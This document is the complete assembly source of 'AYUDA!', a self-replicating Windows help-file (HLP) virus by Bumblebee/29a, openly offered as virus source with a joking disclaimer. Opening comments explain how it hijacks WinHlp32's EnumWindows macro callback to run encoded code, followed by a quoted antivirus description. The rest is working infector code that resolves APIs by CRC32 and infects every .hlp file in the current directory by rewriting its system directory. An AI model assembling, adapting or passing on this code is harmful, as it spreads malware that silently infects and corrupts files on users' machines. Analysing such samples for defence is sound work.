; ; AYUDA! coded by Bumblebee/29a ; the generic HLP infector (tm) ; ; AYUDA is the spanish word for help. If you need 'ayuda' infecting hlp ; files this is the source you're looking for ;) ; But keep in mind that AYUDA is not equal to tutorial! ; ; Disclaimer: ; ; . This is the source code of a VIRUS. The author is not ; responsabile of any damage that may occur due to the assembly ; of this file. Pontius Pilate is washing his hands ;) ; ; Features: ; ; . Takes control directly from the hlp file using macros and the ; EnumWindows function. The virus body is stored in the call. ; . Searches for the required APIs using CRCs instead of names. ; . Uses SEH. ; . Infects hlp files adding a EnumWindows call in the system file ; and plazing this new system at the end of file. ; . Uses size padding as infection sign. ; ; Hlp infection brief: ; ; . The hlp infection is so easy. First you must understand the ; internal format of hlp files: is like a pakaged file system. ; Yeah! There are directories, files and so. Once you have this ; part there is another point you must take into account: how to ; give control to the virus. The solution that AYUDA exploits is ; that WinHlp32 let us say the kind of parameters an imported API ; will use. So if you look for any function with callback features ; (all the enum functions), you can change the parameter that uses ; the address of code to be executed by a string. An this string ; will be the virus code. WinHlp32 allocates memory for the string ; (a string is a pointer to a vector of chars) and passes that ; address to the enum function. Once you have the control you must ; execute the code... and that's all? NOPE! Your virus code MUST ; be a string! So you need to change the code to fit in the string ; required by WinHlp32. At this case i've encoded the virus in a ; way that allows to change the code to make WinHlp32 happy and ; later restore it for normal execution. The virus generates some ; code that pushes the entire virus into the stack. This code it's ; ok for WinHlp32 (avoids on its body some characters) and when ; executes restores the whole virus into the stack and the jumps ; there, does its work, fixes the stack and returns ending the ; callback process. ; I think that with this little explanation and the full commented ; source you'll be able to understand this kind of infection. ; ; Excuse my english! ; ; The way of the bee ; ; ; Description from: ; http://www.viruslist.com/eng/viruslist.asp?id=3981&key=000010000800002 ; from AVP. ; ; WinHLP.Pluma ; ; ; This is Windows32 HLP files infector, it does function and replicate as ; a Windows Help script embedded in help file structure. See also WinHLP.Demo ; and Win95.SK". ; ; When infected HLP file is opened, the Windows Help system processes virus ; script and executes all functions placed there. By using a trick the virus ; forces Help system to execute a specially prepared data as binary Windows32 ; program, these data are included in one of instructions in the virus ; script. These data themselves are the "start-up" routine that builds the ; main infection routine and executes it. The infection routine is a valid ; Windows32 procedure, and it is executed as a Windows32 application. ; ; When infection routine takes control, it scans Windows kernel (KERNEL32.DLL ; image loaded in Windows memory) in usual for Win32 executable files ; parasitic infectors, and gets addresses of necessary Windows functions ; from there. The infection routine then looks for all Windows Help files in ; the current directory, and infects them all. ; ; While infecting the virus modifies internal HLP file structure, adds its ; script to the "SYSTEM" area, converts its code to start-up routine and ; includes it into the script. ; ; The virus does not manifest itself in any way. It contains the text ; strings: ; ; < AYUDA! Coded by Bumblebee/29a > ; Cumpliendo con mi oficio ; piedra con piedra, pluma a pluma, ; pasa el invierno y deja ; sitios abandonados ; habitaciones muertas: ; yo trabajo y trabajo, ; debo substituir tantos olvidos, ; llenar de pan las tinieblas, ; fundar otra vez la esperanza. ; ; .486p .model flat locals extrn ExitProcess:PROC HLPHEADER struc hhMagic dd ? hhDirectoryStart dd ? hhNonDirectoryStart dd ? hhEntireFileSize dd ? HLPHEADER ends HLPFILEHEADER struc fhReservedSpace dd ? fhUsedSpace dd ? fhFileFlags db ? HLPFILEHEADER ends BTREEHEADER struct bthMagic dw ? bthFlags dw ? bthPageSize dw ? bthStructure db 10h dup(?) bthMustBeZero dw ? bthPageSplits dw ? bthRootPage dw ? bthMustBeNegOne dw ? bthTotalPages dw ? bthNLeves dw ? bthTotalEntries dd ? BTREEHEADER ends ; from BC++ Win32 API on-line Reference WIN32_FIND_DATA struc dwFileAttributes dd 0 dwLowDateTime0 dd ? ; creation dwHigDateTime0 dd ? dwLowDateTime1 dd ? ; last access dwHigDateTime1 dd ? dwLowDateTime2 dd ? ; last write dwHigDateTime2 dd ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved dd 0,0 cFileName db 260 dup(0) cAlternateFilename db 14 dup(0) db 2 dup(0) WIN32_FIND_DATA ends K32WIN9X equ 0bff70000h ; Windows 95/98 vSize equ vEnd-vBegin ; size of the baby PADDING equ 7 ; infection sign .DATA dummy db 'WARNING - This is a virus laucher - WARNING' .CODE inicio: push eax ; simulate the callback for push eax ; 1st generation push offset goOut sub esp,((vSize/2)+1)*2 ; why i'm doing this? ;) jmp virusBegin goOut: push 0h call ExitProcess vBegin label byte virusBegin: pushad ; save all regs call delta ; get delta offset delta: pop ebp sub ebp,offset delta lea eax,dword ptr [esp-8h] ; setup SEH xor edi,edi xchg eax,dword ptr fs:[edi] lea edi,exception+ebp push edi push eax mov esi,K32WIN9X ; fixed addr of the K32 cmp word ptr [esi],'ZM' ; K32! are you there? jne quitSEH ; little anti-debug trick xor edi,edi add esi,dword ptr fs:[edi+20h] ; Get APIs stuff with CRC32 instead of names... mov esi,dword ptr [esi+3ch] add esi,K32WIN9X mov esi,dword ptr [esi+78h] add esi,K32WIN9X add esi,1ch lodsd add eax,K32WIN9X mov dword ptr [address+ebp],eax lodsd add eax,K32WIN9X mov dword ptr [names+ebp],eax lodsd add eax,K32WIN9X mov dword ptr [ordinals+ebp],eax sub esi,16 lodsd mov dword ptr [nexports+ebp],eax xor edx,edx mov dword ptr [expcount+ebp],edx lea eax,FSTAPI+ebp searchl: mov esi,dword ptr [names+ebp] add esi,edx mov esi,dword ptr [esi] add esi,K32WIN9X push eax edx movzx di,byte ptr [eax+4] call CRC32 xchg ebx,eax pop edx eax cmp ebx,dword ptr [eax] je fFound add edx,4 inc dword ptr [expcount+ebp] push edx mov edx,dword ptr [expcount+ebp] cmp dword ptr [nexports+ebp],edx pop edx je quitSEH jmp searchl fFound: shr edx,1 add edx,dword ptr [ordinals+ebp] xor ebx,ebx mov bx,word ptr [edx] shl ebx,2 add ebx,dword ptr [address+ebp] mov ecx,dword ptr [ebx] add ecx,K32WIN9X mov dword ptr [eax+5],ecx add eax,9 xor edx,edx mov dword ptr [expcount+ebp],edx lea ecx,ENDAPI+ebp cmp eax,ecx jb searchl ; infect all the hlp files in current directory lea esi,find_data+ebp push esi lea esi,hlpMask+ebp push esi call dword ptr [_FindFirstFileA+ebp] inc eax jz quitSEH dec eax mov dword ptr [findHnd+ebp],eax findNext: mov eax,dword ptr [find_data.nFileSizeLow+ebp] mov ecx,PADDING ; test if it's infected xor edx,edx ; yet div ecx or edx,edx ; reminder is zero? jz skipThisFile lea esi,find_data.cFileName+ebp call infect skipThisFile: lea esi,find_data+ebp push esi push dword ptr [findHnd+ebp] call dword ptr [_FindNextFileA+ebp] ; Find next file or eax,eax jnz findNext push dword ptr [findHnd+ebp] call dword ptr [_FindClose+ebp] ; close find handle quitSEH: xor esi,esi ; quit SEH pop dword ptr fs:[esi] pop eax popad add esp,((vSize/2)+1)*2 ; fix stack xor eax,eax ; return FALSE ret 8 ; pop the args of the call ; (are two: 2*4=8 bytes) exception: xor esi,esi ; we are not under mov eax,dword ptr fs:[esi] ; win9x... a pitty mov esp,dword ptr [eax] jmp quitSEH ; ; does the hlp infection ; IN: esi addr of file name ; infect: xor eax,eax push eax push 80h push 3h push eax push eax push 80000000h OR 40000000h push esi call dword ptr [_CreateFileA+ebp] inc eax jz errorOut dec eax mov dword ptr [fHnd+ebp],eax xor eax,eax push eax push eax push eax push 4h push eax push dword ptr [fHnd+ebp] call dword ptr [_CreateFileMappingA+ebp] or eax,eax jc errorOutClose mov dword ptr [mfHnd+ebp],eax xor eax,eax push eax push eax push eax push 00000004h OR 00000002h push dword ptr [mfHnd+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz errorOutCloseMap ; here begins the hlp infection stuff ; save begin of hlp header mov edi,eax ; check is a valid HLP file cmp dword ptr [edi.hhMagic],00035f3fh jne notNiceHlp ; get file size information in the header (not the same than ; 'file in disk' size) mov ecx,dword ptr [eax.hhEntireFileSize] mov dword ptr [fileSize+ebp],ecx ; goto directory start add edi,dword ptr [edi.hhDirectoryStart] add edi,size HLPFILEHEADER ; check is a valid directory cmp word ptr [edi],293bh jne notNiceHlp ; i don't want indexed data, so only one level b-trees ; are nice for me ;) cmp word ptr [edi.bthNLeves],1 jne notNiceHlp ; scan for |SYSTEM directory. ; search 512 bytes into the b-tree and ignore the internal ; structures of b-tree. add edi,size BTREEHEADER mov ecx,200h searchSystemDir: cmp dword ptr [edi],'SYS|' je foundSystemDir inc edi loop searchSystemDir jmp notNiceHlp foundSystemDir: ; as i only infect non-indexed hlp files, i'm sure the ; data that follows the |SYSTEM zstring is the offset of ; the directory. 1st skip the zstring add edi,8 ; now goto to the directory (offset from hlp header) ; and set the new system directory at the end of file mov esi,dword ptr [fileSize+ebp] xchg esi,dword ptr [edi] mov edi,esi add edi,eax ; save begin of this file mov edx,edi add edi,size HLPFILEHEADER ; check is a system directory cmp word ptr [edi],036ch jne notNiceHlp ; check version mov esi,edi add esi,0ch cmp word ptr [edi+2],10h ja noTitleHere ; if has title, skip it (version <= 16) skipTitle: inc esi cmp byte ptr [esi-1],0 je skipTitle noTitleHere: mov edi,esi ; get size of the directory mov esi,dword ptr [edx] ; the max size of the macro, just an aproximation add esi,((vSize/2)*10)+1000h ; alloc a temporary buffer pushad push 00000004h push 00001000h push esi push 0 call dword ptr [_VirtualAlloc+ebp] or eax,eax jne bufferOk popad jmp notNiceHlp bufferOk: mov dword ptr [mHnd+ebp],eax popad ; copy system directory plus our macro to the buffer ; 1st old system mov edi,dword ptr [mHnd+ebp] mov esi,edx mov ecx,dword ptr [edx] rep movsb ; begin 'our macro' generation ; save mapped file handle push eax ; save begin of our macros push edi lea esi,hlpMacro0+ebp mov ecx,hlpMacroSize0 rep movsb ; generate the macro 'virus body' ;) ; it sholud be more simple but... hehe lea ecx,vBegin+ebp lea esi,vEnd+ebp dec ecx dec esi getNext: cmp byte ptr [esi],0 ; those chars must be je fix ; changed 'cause they have cmp byte ptr [esi],22h ; a sentimental value je fix ; for winhlp32 in macroz cmp byte ptr [esi],27h je fix cmp byte ptr [esi],5ch je fix cmp byte ptr [esi],60h je fix mov al,0b4h mov ah,byte ptr [esi] stosw dec esi cmp esi,ecx je macroDoneFix getNextInPair: cmp byte ptr [esi],0 je fix2 cmp byte ptr [esi],22h je fix2 cmp byte ptr [esi],27h je fix2 cmp byte ptr [esi],5ch je fix2 cmp byte ptr [esi],60h je fix2 mov al,0b0h mov ah,byte ptr [esi] stosw mov ax,5066h stosw dec esi cmp esi,ecx je macroDone jmp getNext fix: mov al,0b4h mov ah,byte ptr [esi] dec ah stosw mov ax,0c4feh stosw dec esi cmp esi,ecx je macroDoneFix jmp getNextInPair fix2: mov al,0b0h mov ah,byte ptr [esi] dec ah stosw mov ax,0c0feh stosw mov ax,5066h stosw dec esi cmp esi,ecx je macroDone jmp getNext macroDoneFix: mov al,0b0h mov ah,90h stosw mov ax,5066h stosw macroDone: ; end the macro lea esi,hlpMacro1+ebp mov ecx,hlpMacroSize1 rep movsb ; fix the macro size pop esi ; get begin of macros mov ecx,edi ; end of macros sub ecx,esi ; size of macros sub ecx,offset macro1-hlpMacro ; sub size of 1st macro and ; and the header of 2nd mov word ptr [esi+offset macroSize-hlpMacro],cx ; store it! (at its offset) pop eax ; into edi the size of the new system sub edi,dword ptr [mHnd+ebp] mov dword ptr [systemSize+ebp],edi ; fix directory size plus header mov edx,dword ptr [mHnd+ebp] mov dword ptr [edx],edi ; fix directory size push edi sub edi,size HLPFILEHEADER mov dword ptr [edx+4],edi pop edi ; increase hlp file size add dword ptr [eax.hhEntireFileSize],edi ; and save push dword ptr [eax.hhEntireFileSize] push eax call dword ptr [_UnmapViewOfFile+ebp] push dword ptr [mfHnd+ebp] call dword ptr [_CloseHandle+ebp] ; get new hlp file size pop eax ; calculate size with padding mov ecx,PADDING xor edx,edx div ecx inc eax xor edx,edx mul ecx mov dword ptr [padSize+ebp],eax xor eax,eax push eax push dword ptr [padSize+ebp] push eax push 4h push eax push dword ptr [fHnd+ebp] call dword ptr [_CreateFileMappingA+ebp] or eax,eax jc errorOutClose mov dword ptr [mfHnd+ebp],eax xor eax,eax push dword ptr [padSize+ebp] push eax push eax push 00000004h OR 00000002h push dword ptr [mfHnd+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz errorOutCloseMap ; add the modified system directory mov edi,eax add edi,dword ptr [fileSize+ebp] mov esi,dword ptr [mHnd+ebp] mov ecx,dword ptr [systemSize+ebp] rep movsb push eax push 00008000h push 0h push dword ptr [mHnd+ebp] call dword ptr [_VirtualFree+ebp] pop eax notNiceHlp: push eax call dword ptr [_UnmapViewOfFile+ebp] errorOutCloseMap: push dword ptr [mfHnd+ebp] call dword ptr [_CloseHandle+ebp] errorOutClose: push dword ptr [fHnd+ebp] call dword ptr [_CloseHandle+ebp] errorOut: ret ; ; CRC32 ; ; IN: esi offset of data to do CRC32 ; edi size to do CRC32 ; ; OUT: ; eax CRC32 ; ; Original routine by Vecna. Gracias! ; This is one of these piezes of code that became essential to ; the virus coder. ; CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret copyright db '< AYUDA! Coded by Bumblebee/29a >' messForAvers db 0dh,0ah db 'Cumpliendo con mi oficio',0dh,0ah db 'piedra con piedra, pluma a pluma,',0dh,0ah db 'pasa el invierno y deja',0dh,0ah db 'sitios abandonados',0dh,0ah db 'habitaciones muertas:',0dh,0ah db 'yo trabajo y trabajo,',0dh,0ah db 'debo substituir tantos olvidos,',0dh,0ah db 'llenar de pan las tinieblas,',0dh,0ah db 'fundar otra vez la esperanza.',0dh,0ah ; CRC32 and plaze to store APIs used FSTAPI label byte CrcCreateFileA dd 08c892ddfh size0 db 12 _CreateFileA dd 0 CrcMapViewOfFile dd 0797b49ech size1 db 14 _MapViewOfFile dd 0 CrcCreatFileMappingA dd 096b2d96ch size2 db 19 _CreateFileMappingA dd 0 CrcUnmapViewOfFile dd 094524b42h size3 db 16 _UnmapViewOfFile dd 0 CrcCloseHandle dd 068624a9dh size4 db 12 _CloseHandle dd 0 CrcFindFirstFileA dd 0ae17ebefh size5 db 15 _FindFirstFileA dd 0 CrcFindNextFileA dd 0aa700106h size6 db 14 _FindNextFileA dd 0 CrcFindClose dd 0c200be21h size7 db 10 _FindClose dd 0 CrcVirtualAlloc dd 04402890eh size8 db 13 _VirtualAlloc dd 0 CrcVirtualFree dd 02aad1211h size9 db 12 _VirtualFree dd 0 ENDAPI label byte ; data for the macro generation hlpMacroSize equ (endOfMacro1-hlpMacro)+vSize hlpMacro label byte hlpMacro0 db 4,0,macro0Ends-offset macro0,0 macro0 db 'RR("USER32","EnumWindows","SU")',0 macro0Ends label byte db 4,0 macroSize dw ? macro1 db 'EnumWindows("' endOfMacro0 label byte hlpMacro1: jmp esp db '",0)',0 endOfMacro1 label byte hlpMacroSize0 equ endOfMacro0-hlpMacro hlpMacroSize1 equ endOfMacro1-offset hlpMacro1 ; several handles fHnd dd 0 mfHnd dd 0 mHnd dd 0 ; to store... erm fileSize dd 0 ; file size with padding padSize dd 0 ; the size of the generated system file systemSize dd 0 ; used into API search address dd 0 names dd 0 ordinals dd 0 nexports dd 0 expcount dd 0 ; for find files hlpMask db '*.hlp',0,0 findHnd dd 0 find_data WIN32_FIND_DATA vEnd label byte ends end inicio